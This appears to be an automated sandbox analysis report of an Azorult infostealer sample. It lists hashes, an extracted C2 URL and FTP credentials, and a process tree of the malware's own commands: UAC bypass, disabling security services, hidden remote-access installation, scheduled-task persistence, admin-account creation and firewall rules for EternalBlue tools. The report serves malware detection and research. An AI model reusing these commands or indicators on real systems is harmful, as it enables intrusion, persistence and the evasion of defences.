Overview

overview

10

Static

static

5

Azorult[1].exe

windows7-x64

10

Azorult[1].exe

windows10-2004-x64

10

Analysis

  • max time kernel
    306s
  • max time network
    309s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-02-2024 21:01

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Azorult[1].exe

  • Size

    10.0MB

  • MD5

    5df0cf8b8aa7e56884f71da3720fb2c6

  • SHA1

    0610e911ade5d666a45b41f771903170af58a05a

  • SHA256

    dd396a3f66ad728660023cb116235f3cb1c35d679a155b08ec6a9ccaf966c360

  • SHA512

    724ce5e285c0ec68464c39292be62b80124909e98a6f1cd4a8ddee9de24b9583112012200bf10261354de478d77a5844cb843673235db3f704a307976164669a

  • SSDEEP

    196608:NjIrZDbMLq8TKqTNNRYWzmf1e4Qx/PMPTZPkTGX9sqiL/aVvTA:N2Z4DRYWXdaZPGy9sJL/aVv

Score
10/10
azorultrmsaspackv2discoveryevasioninfostealerpersistencerattrojanupx

Malware Config

Extracted

Credentials

  • Protocol:     ftp
  • Host:
    109.248.203.81
  • Port:
    21
  • Username:
    alex
  • Password:
    easypassword

Extracted

Family

azorult

C2

http://boglogov.site/index.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

    trojaninfostealerazorult
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
    evasiontrojan
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
    evasion
  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

    trojanratrms
  • UAC bypass 3 TTPs 5 IoCs
    evasiontrojan
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 1 IoCs
  • Blocks application from running via registry modification 13 IoCs

    Adds application to list of disallowed applications.

    evasion
  • Drops file in Drivers directory 2 IoCs
  • Modifies Windows Firewall 2 TTPs 23 IoCs
    evasion
  • Sets DLL path for service in the registry 2 TTPs 1 IoCs
    persistence
  • Sets file to hidden 1 TTPs 3 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

    evasion
  • Stops running service(s) 3 TTPs
    evasion
  • ACProtect 1.3x - 1.4x DLL software 2 IoCs

    Detects file using ACProtect software.

  • ASPack v2.12-2.42 8 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Checks computer location settings 2 TTPs 10 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 26 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 62 IoCs
    discovery
  • UPX packed file 10 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 7 IoCs
    persistence
  • AutoIT Executable 8 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 5 IoCs
  • Drops file in Program Files directory 27 IoCs
  • Launches sc.exe 24 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 7 IoCs
    evasion
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 5 IoCs
    evasion
  • Modifies registry class 6 IoCs
  • NTFS ADS 1 IoCs
  • Runs .reg file with regedit 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
    evasion
  • Views/modifies file attributes 1 TTPs 6 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\Azorult[1].exe
    "C:\Users\Admin\AppData\Local\Temp\Azorult[1].exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • UAC bypass
    • Blocks application from running via registry modification
    • Drops file in Drivers directory
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Modifies WinLogon
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:3300
    • C:\ProgramData\Microsoft\Intel\wini.exe
      C:\ProgramData\Microsoft\Intel\wini.exe -pnaxui
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:5044
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\install.vbs"
        3⤵
        • Checks computer location settings
        PID:2892
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Programdata\Windows\install.bat" "
          4⤵
            PID:1896
            • C:\Windows\SysWOW64\regedit.exe
              regedit /s "reg1.reg"
              5⤵
              • UAC bypass
              • Windows security bypass
              • Runs .reg file with regedit
              PID:4064
            • C:\Windows\SysWOW64\regedit.exe
              regedit /s "reg2.reg"
              5⤵
              • Runs .reg file with regedit
              PID:1308
            • C:\Windows\SysWOW64\timeout.exe
              timeout 2
              5⤵
              • Delays execution with timeout.exe
              PID:3224
            • C:\ProgramData\Windows\rutserv.exe
              rutserv.exe /silentinstall
              5⤵
                PID:4868
              • C:\ProgramData\Windows\rutserv.exe
                rutserv.exe /firewall
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                PID:644
              • C:\ProgramData\Windows\rutserv.exe
                rutserv.exe /start
                5⤵
                  PID:872
                • C:\Windows\SysWOW64\attrib.exe
                  ATTRIB +H +S C:\Programdata\Windows\*.*
                  5⤵
                  • Views/modifies file attributes
                  PID:4004
                • C:\Windows\SysWOW64\sc.exe
                  sc config RManService obj= LocalSystem type= interact type= own
                  5⤵
                  • Launches sc.exe
                  PID:1724
                • C:\Windows\SysWOW64\sc.exe
                  sc config RManService DisplayName= "Microsoft Framework"
                  5⤵
                  • Launches sc.exe
                  PID:3180
                • C:\Windows\SysWOW64\sc.exe
                  sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
                  5⤵
                  • Launches sc.exe
                  PID:4140
                • C:\Windows\SysWOW64\attrib.exe
                  ATTRIB +H +S C:\Programdata\Windows
                  5⤵
                  • Views/modifies file attributes
                  PID:4604
            • C:\ProgramData\Windows\winit.exe
              "C:\ProgramData\Windows\winit.exe"
              3⤵
              • Executes dropped EXE
              • Checks processor information in registry
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of SetWindowsHookEx
              PID:3652
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c C:\Programdata\Install\del.bat
                4⤵
                  PID:1404
                  • C:\Windows\SysWOW64\timeout.exe
                    timeout 5
                    5⤵
                    • Delays execution with timeout.exe
                    PID:4140
            • C:\programdata\install\cheat.exe
              C:\programdata\install\cheat.exe -pnaxui
              2⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:1092
              • C:\ProgramData\Microsoft\Intel\taskhost.exe
                "C:\ProgramData\Microsoft\Intel\taskhost.exe"
                3⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Suspicious use of SetWindowsHookEx
                PID:1076
                • C:\programdata\microsoft\intel\P.exe
                  C:\programdata\microsoft\intel\P.exe
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of SetWindowsHookEx
                  PID:3800
                • C:\programdata\microsoft\intel\R8.exe
                  C:\programdata\microsoft\intel\R8.exe
                  4⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Modifies registry class
                  • Suspicious use of SetWindowsHookEx
                  PID:3660
                  • C:\Windows\SysWOW64\WScript.exe
                    "C:\Windows\System32\WScript.exe" "C:\rdp\run.vbs"
                    5⤵
                      PID:2272
                  • C:\Programdata\RealtekHD\taskhostw.exe
                    C:\Programdata\RealtekHD\taskhostw.exe
                    4⤵
                    • Modifies visiblity of hidden/system files in Explorer
                    • Executes dropped EXE
                    • Adds Run key to start application
                    • NTFS ADS
                    • Suspicious behavior: GetForegroundWindowSpam
                    • Suspicious use of SetWindowsHookEx
                    PID:5396
                    • C:\Programdata\WindowsTask\winlogon.exe
                      C:\Programdata\WindowsTask\winlogon.exe
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of SetWindowsHookEx
                      PID:5684
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /C schtasks /query /fo list
                        6⤵
                          PID:1488
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /query /fo list
                            7⤵
                              PID:5916
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c ipconfig /flushdns
                          5⤵
                            PID:2920
                            • C:\Windows\system32\ipconfig.exe
                              ipconfig /flushdns
                              6⤵
                              • Gathers network information
                              PID:4344
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c gpupdate /force
                            5⤵
                              PID:400
                              • C:\Windows\system32\gpupdate.exe
                                gpupdate /force
                                6⤵
                                  PID:4824
                            • C:\Windows\SysWOW64\schtasks.exe
                              "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\SystemC" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC MINUTE /MO 1
                              4⤵
                              • Creates scheduled task(s)
                              PID:5748
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c C:\programdata\microsoft\temp\H.bat
                              4⤵
                              • Drops file in Drivers directory
                              PID:5344
                              • C:\Windows\System32\Conhost.exe
                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                5⤵
                                  PID:1212
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c C:\programdata\microsoft\temp\Temp.bat
                                4⤵
                                  PID:5304
                                  • C:\Windows\SysWOW64\timeout.exe
                                    TIMEOUT /T 5 /NOBREAK
                                    5⤵
                                    • Delays execution with timeout.exe
                                    PID:3372
                                  • C:\Windows\SysWOW64\timeout.exe
                                    TIMEOUT /T 3 /NOBREAK
                                    5⤵
                                    • Delays execution with timeout.exe
                                    PID:5012
                                  • C:\Windows\SysWOW64\taskkill.exe
                                    TASKKILL /IM 1.exe /T /F
                                    5⤵
                                    • Kills process with taskkill
                                    PID:1636
                                  • C:\Windows\SysWOW64\taskkill.exe
                                    TASKKILL /IM P.exe /T /F
                                    5⤵
                                    • Kills process with taskkill
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:5952
                                  • C:\Windows\SysWOW64\attrib.exe
                                    ATTRIB +H +S C:\Programdata\Windows
                                    5⤵
                                    • Views/modifies file attributes
                                    PID:6012
                                • C:\Windows\SysWOW64\schtasks.exe
                                  "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Cleaner" /TR "C:\Programdata\WindowsTask\winlogon.exe" /SC ONLOGON /RL HIGHEST
                                  4⤵
                                  • Creates scheduled task(s)
                                  PID:2000
                                • C:\ProgramData\Microsoft\Intel\winlog.exe
                                  C:\ProgramData\Microsoft\Intel\winlog.exe -p123
                                  4⤵
                                  • Checks computer location settings
                                  • Executes dropped EXE
                                  PID:1448
                            • C:\programdata\install\ink.exe
                              C:\programdata\install\ink.exe
                              2⤵
                              • Executes dropped EXE
                              PID:4756
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c sc start appidsvc
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:4988
                              • C:\Windows\SysWOW64\sc.exe
                                sc start appidsvc
                                3⤵
                                • Launches sc.exe
                                PID:4740
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c sc start appmgmt
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2224
                              • C:\Windows\SysWOW64\sc.exe
                                sc start appmgmt
                                3⤵
                                • Launches sc.exe
                                PID:4560
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c sc config appidsvc start= auto
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:4604
                              • C:\Windows\SysWOW64\sc.exe
                                sc config appidsvc start= auto
                                3⤵
                                • Launches sc.exe
                                PID:544
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c sc config appmgmt start= auto
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2568
                              • C:\Windows\SysWOW64\sc.exe
                                sc config appmgmt start= auto
                                3⤵
                                • Launches sc.exe
                                PID:3944
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c sc delete swprv
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2684
                              • C:\Windows\SysWOW64\sc.exe
                                sc delete swprv
                                3⤵
                                • Launches sc.exe
                                PID:2444
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c sc stop mbamservice
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:412
                              • C:\Windows\SysWOW64\sc.exe
                                sc stop mbamservice
                                3⤵
                                • Launches sc.exe
                                PID:4532
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c sc stop bytefenceservice
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:4348
                              • C:\Windows\SysWOW64\sc.exe
                                sc stop bytefenceservice
                                3⤵
                                • Launches sc.exe
                                PID:4720
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c sc delete bytefenceservice
                              2⤵
                                PID:220
                                • C:\Windows\SysWOW64\sc.exe
                                  sc delete bytefenceservice
                                  3⤵
                                  • Launches sc.exe
                                  PID:1848
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c sc delete mbamservice
                                2⤵
                                  PID:4360
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc delete mbamservice
                                    3⤵
                                    • Launches sc.exe
                                    PID:1772
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c sc delete crmsvc
                                  2⤵
                                    PID:1420
                                    • C:\Windows\SysWOW64\sc.exe
                                      sc delete crmsvc
                                      3⤵
                                      • Launches sc.exe
                                      PID:948
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c sc delete "windows node"
                                    2⤵
                                      PID:2076
                                      • C:\Windows\SysWOW64\sc.exe
                                        sc delete "windows node"
                                        3⤵
                                        • Launches sc.exe
                                        PID:2548
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c sc stop Adobeflashplayer
                                      2⤵
                                        PID:1624
                                        • C:\Windows\SysWOW64\sc.exe
                                          sc stop Adobeflashplayer
                                          3⤵
                                          • Launches sc.exe
                                          PID:3928
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c sc stop MoonTitle
                                        2⤵
                                          PID:4628
                                          • C:\Windows\SysWOW64\sc.exe
                                            sc stop MoonTitle
                                            3⤵
                                            • Launches sc.exe
                                            PID:2320
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c sc delete AdobeFlashPlayer
                                          2⤵
                                            PID:2204
                                            • C:\Windows\SysWOW64\sc.exe
                                              sc delete AdobeFlashPlayer
                                              3⤵
                                              • Launches sc.exe
                                              PID:496
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c sc delete MoonTitle"
                                            2⤵
                                              PID:4796
                                              • C:\Windows\SysWOW64\sc.exe
                                                sc delete MoonTitle"
                                                3⤵
                                                • Launches sc.exe
                                                PID:1216
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c sc stop AudioServer
                                              2⤵
                                                PID:4572
                                                • C:\Windows\SysWOW64\sc.exe
                                                  sc stop AudioServer
                                                  3⤵
                                                  • Launches sc.exe
                                                  PID:760
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c sc delete AudioServer"
                                                2⤵
                                                  PID:2224
                                                  • C:\Windows\SysWOW64\sc.exe
                                                    sc delete AudioServer"
                                                    3⤵
                                                    • Launches sc.exe
                                                    PID:3248
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c sc stop clr_optimization_v4.0.30318_64
                                                  2⤵
                                                    PID:4408
                                                    • C:\Windows\SysWOW64\sc.exe
                                                      sc stop clr_optimization_v4.0.30318_64
                                                      3⤵
                                                      • Launches sc.exe
                                                      PID:116
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c sc delete clr_optimization_v4.0.30318_64"
                                                    2⤵
                                                      PID:4364
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc delete clr_optimization_v4.0.30318_64"
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:3244
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c sc stop MicrosoftMysql
                                                      2⤵
                                                        PID:656
                                                        • C:\Windows\SysWOW64\sc.exe
                                                          sc stop MicrosoftMysql
                                                          3⤵
                                                          • Launches sc.exe
                                                          PID:3860
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c sc delete MicrosoftMysql
                                                        2⤵
                                                          PID:2360
                                                          • C:\Windows\SysWOW64\sc.exe
                                                            sc delete MicrosoftMysql
                                                            3⤵
                                                            • Launches sc.exe
                                                            PID:4196
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on
                                                          2⤵
                                                            PID:3028
                                                            • C:\Windows\SysWOW64\netsh.exe
                                                              netsh advfirewall set allprofiles state on
                                                              3⤵
                                                              • Modifies Windows Firewall
                                                              PID:3856
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
                                                            2⤵
                                                              PID:4900
                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
                                                                3⤵
                                                                • Modifies Windows Firewall
                                                                PID:2268
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
                                                              2⤵
                                                                PID:3532
                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                  netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
                                                                  3⤵
                                                                  • Modifies Windows Firewall
                                                                  PID:3288
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
                                                                2⤵
                                                                  PID:4036
                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                    netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
                                                                    3⤵
                                                                    • Modifies Windows Firewall
                                                                    PID:4500
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
                                                                  2⤵
                                                                    PID:4380
                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                      netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
                                                                      3⤵
                                                                      • Modifies Windows Firewall
                                                                      PID:4316
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Recovery Service" dir=in action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                                    2⤵
                                                                      PID:4656
                                                                      • C:\Windows\SysWOW64\netsh.exe
                                                                        netsh advfirewall firewall add rule name="Recovery Service" dir=in action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                                        3⤵
                                                                        • Modifies Windows Firewall
                                                                        PID:4080
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Shadow Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                                      2⤵
                                                                        PID:4360
                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                          netsh advfirewall firewall add rule name="Shadow Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                                          3⤵
                                                                          • Modifies Windows Firewall
                                                                          PID:4100
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Security Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                                        2⤵
                                                                          PID:4460
                                                                          • C:\Windows\SysWOW64\netsh.exe
                                                                            netsh advfirewall firewall add rule name="Security Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                                            3⤵
                                                                            • Modifies Windows Firewall
                                                                            PID:1344
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Recovery Services" dir=out action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                                          2⤵
                                                                            PID:2548
                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                              netsh advfirewall firewall add rule name="Recovery Services" dir=out action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                                              3⤵
                                                                              • Modifies Windows Firewall
                                                                              PID:4620
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Shadow Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                                            2⤵
                                                                              PID:4172
                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                netsh advfirewall firewall add rule name="Shadow Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                                                3⤵
                                                                                • Modifies Windows Firewall
                                                                                PID:1624
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Security Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                                              2⤵
                                                                                PID:1460
                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                  netsh advfirewall firewall add rule name="Security Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                                                  3⤵
                                                                                  • Modifies Windows Firewall
                                                                                  PID:1740
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\86A0.tmp\86A1.bat C:\ProgramData\Microsoft\Intel\winlogon.exe"
                                                                                  3⤵
                                                                                    PID:3880
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      PowerShell.exe -command "Import-Module applocker" ; "Set-AppLockerPolicy -XMLPolicy C:\ProgramData\microsoft\Temp\5.xml"
                                                                                      4⤵
                                                                                      • Drops file in System32 directory
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:5528
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Survile Service" dir=in action=allow program="C:\ProgramData\RealtekHD\taskhostw.exe" enable=yes
                                                                                  2⤵
                                                                                    PID:4808
                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                      netsh advfirewall firewall add rule name="Survile Service" dir=in action=allow program="C:\ProgramData\RealtekHD\taskhostw.exe" enable=yes
                                                                                      3⤵
                                                                                      • Modifies Windows Firewall
                                                                                      PID:1596
                                                                                      • C:\Windows\SysWOW64\net1.exe
                                                                                        C:\Windows\system32\net1 localgroup "Administrators" John /add
                                                                                        4⤵
                                                                                          PID:3204
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="System Service" dir=in action=allow program="C:\ProgramData\windows\rutserv.exe" enable=yes
                                                                                      2⤵
                                                                                        PID:1568
                                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                                          netsh advfirewall firewall add rule name="System Service" dir=in action=allow program="C:\ProgramData\windows\rutserv.exe" enable=yes
                                                                                          3⤵
                                                                                          • Modifies Windows Firewall
                                                                                          PID:3564
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Shell Service" dir=in action=allow program="C:\ProgramData\rundll\system.exe" enable=yes
                                                                                        2⤵
                                                                                          PID:4784
                                                                                          • C:\Windows\SysWOW64\netsh.exe
                                                                                            netsh advfirewall firewall add rule name="Shell Service" dir=in action=allow program="C:\ProgramData\rundll\system.exe" enable=yes
                                                                                            3⤵
                                                                                            • Modifies Windows Firewall
                                                                                            PID:1440
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Script Service" dir=in action=allow program="C:\ProgramData\rundll\rundll.exe" enable=yes
                                                                                          2⤵
                                                                                            PID:4628
                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                              netsh advfirewall firewall add rule name="Script Service" dir=in action=allow program="C:\ProgramData\rundll\rundll.exe" enable=yes
                                                                                              3⤵
                                                                                              • Modifies Windows Firewall
                                                                                              PID:3416
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Micro Service" dir=in action=allow program="C:\ProgramData\rundll\Doublepulsar-1.3.1.exe" enable=yes
                                                                                            2⤵
                                                                                              PID:1216
                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                netsh advfirewall firewall add rule name="Micro Service" dir=in action=allow program="C:\ProgramData\rundll\Doublepulsar-1.3.1.exe" enable=yes
                                                                                                3⤵
                                                                                                • Modifies Windows Firewall
                                                                                                PID:3204
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Small Service" dir=in action=allow program="C:\ProgramData\rundll\Eternalblue-2.2.0.exe" enable=yes
                                                                                              2⤵
                                                                                                PID:760
                                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                                  netsh advfirewall firewall add rule name="Small Service" dir=in action=allow program="C:\ProgramData\rundll\Eternalblue-2.2.0.exe" enable=yes
                                                                                                  3⤵
                                                                                                  • Modifies Windows Firewall
                                                                                                  PID:3784
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort1" protocol=TCP localport=9494 action=allow dir=IN
                                                                                                2⤵
                                                                                                  PID:1212
                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                    netsh advfirewall firewall add rule name="AllowPort1" protocol=TCP localport=9494 action=allow dir=IN
                                                                                                    3⤵
                                                                                                    • Modifies Windows Firewall
                                                                                                    PID:4232
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort2" protocol=TCP localport=9393 action=allow dir=IN
                                                                                                  2⤵
                                                                                                    PID:4408
                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                      netsh advfirewall firewall add rule name="AllowPort2" protocol=TCP localport=9393 action=allow dir=IN
                                                                                                      3⤵
                                                                                                      • Modifies Windows Firewall
                                                                                                      PID:3796
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort3" protocol=TCP localport=9494 action=allow dir=out
                                                                                                    2⤵
                                                                                                      PID:652
                                                                                                      • C:\Windows\SysWOW64\netsh.exe
                                                                                                        netsh advfirewall firewall add rule name="AllowPort3" protocol=TCP localport=9494 action=allow dir=out
                                                                                                        3⤵
                                                                                                        • Modifies Windows Firewall
                                                                                                        PID:5156
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort4" protocol=TCP localport=9393 action=allow dir=out
                                                                                                      2⤵
                                                                                                        PID:4428
                                                                                                        • C:\Windows\SysWOW64\netsh.exe
